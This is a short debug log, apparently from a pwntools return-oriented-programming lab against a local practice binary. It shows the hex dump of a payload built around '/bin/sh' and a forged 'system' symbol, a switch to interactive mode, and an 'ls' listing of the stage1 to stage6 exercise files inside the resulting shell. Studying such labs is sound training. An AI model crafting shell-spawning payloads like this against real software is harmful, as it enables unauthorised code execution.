[DEBUG] Sent 0x64 bytes:
00000000 2f 62 69 6e 2f 73 68 00 73 52 46 66 57 43 59 52 │/bin│/sh·│sRFf│WCYR│
00000010 66 4c 35 52 78 49 4c 53 54 a0 04 08 07 e9 01 00 │fL5R│xILS│T···│····│
00000020 6e 6b 45 32 52 76 73 6c 00 1e 00 00 00 00 00 00 │nkE2│Rvsl│····│····│
00000030 00 00 00 00 12 00 00 00 73 79 73 74 65 6d 00 74 │····│····│syst│em·t│
00000040 5a 4f 4e 6c 6c 73 4b 5a 76 53 48 6e 38 37 49 47 │ZONl│lsKZ│vSHn│87IG│
00000050 69 49 52 6c 50 44 38 67 45 77 75 6c 72 47 6f 67 │iIRl│PD8g│Ewul│rGog│
00000060 55 41 52 4f │UARO││
00000064
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x8d bytes:
'core\t main roptool.py roputils.pyc\tstage2.py stage4.py stage6.py\n'
'__init__.py main.c roputils.py stage1.py\tstage3.py stage5.py\n'
core main roptool.py roputils.pyc stage2.py stage4.py stage6.py
__init__.py main.c roputils.py stage1.py stage3.py stage5.py